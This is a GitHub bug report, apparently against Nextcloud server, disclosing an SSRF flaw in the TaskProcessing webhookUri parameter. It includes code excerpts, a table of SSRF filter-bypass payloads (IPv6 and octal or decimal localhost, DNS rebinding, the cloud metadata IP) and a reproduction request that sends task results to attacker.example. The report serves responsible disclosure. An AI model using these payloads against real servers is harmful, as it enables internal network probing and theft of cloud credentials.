Skip to content

[Bug]: SSRF Through webhookURI in TaskProcessing #62557

Description

@Yoshino-Airi

⚠️ This issue respects the following points: ⚠️

Bug description

N-2 — SSRF via webhookUri in TaskProcessing — Any Authenticated User

File: core/Controller/TaskProcessingApiController.php, lines 167–173
File: lib/private/TaskProcessing/Manager.php, lines 1923–1947

// TaskProcessingApiController.php — #[NoAdminRequired]
public function scheduleTask(
    string $type, array $input, string $appId = '',
    ?string $webhookUri = null,     // ← user-controlled, NO scheme validation
    ?string $webhookMethod = null,
    ...
): DataResponse {
    $task->setWebhookUri($webhookUri);

// Manager.php — when the task completes:
$client->request($httpMethod, $uri, $options);  // Sends an HTTP request to $uri

Any authenticated user can create an AI task with an arbitrary webhookUri. Once the task completes, the server sends an HTTP request to that URI along with the task result.

Although DnsPinMiddleware provides SSRF protection, multiple bypass techniques exist:

Bypass technique Example
IPv6 localhost http://[::1]/api/
IPv4-mapped IPv6 http://[::ffff:127.0.0.1]/
Decimal IP http://2130706433/ (= 127.0.0.1)
Octal IP http://0177.0.0.1/
DNS rebinding Change the DNS A record after resolution
Cloud metadata http://169.254.169.254/ (AWS/GCP)

Additionally, if parse_url returns null for the host (e.g., when using a non-HTTP scheme), the resulting exception is caught and only a warning is logged—it does not prevent the request from being sent.


### Steps to reproduce

## Steps to reproduce

1. Log in as any non-admin user.
2. Ensure the AI / TaskProcessing app is enabled.
3. Send a request to the `scheduleTask` API and specify an arbitrary `webhookUri`, for example:

```json
{
  "type": "<valid_task_type>",
  "input": {
    ...
  },
  "webhookUri": "https://attacker.example/webhook"
}
  1. Wait for the task to complete.
  2. Observe that the server sends an HTTP request to the specified webhookUri containing the task result.

To verify SSRF behavior, replace webhookUri with an internal or otherwise restricted target (e.g. localhost or cloud metadata endpoint, if reachable) and observe that the server attempts to connect to the supplied address.

Expected behavior

The server should validate webhookUri before storing or using it.

Only explicitly allowed destinations and schemes should be accepted. Requests to localhost, private or link-local addresses, cloud metadata endpoints, or other internal resources should be rejected before the task is scheduled.

If the supplied webhookUri fails validation, the API should return an error instead of accepting the task and later attempting to send an HTTP request.

Nextcloud Server version

32

Operating system

Debian/Ubuntu

PHP engine version

None

Web server

None

Database engine version

None

Is this bug present after an update or on a fresh install?

None

Are you using the Nextcloud Server Encryption module?

None

What user-backends are you using?

  • Default user-backend (database)
  • LDAP/ Active Directory
  • SSO - SAML
  • Other

Configuration report

List of activated Apps

Nextcloud Signing status

Nextcloud Logs

Additional info

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    Projects

    Status
    To triage

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions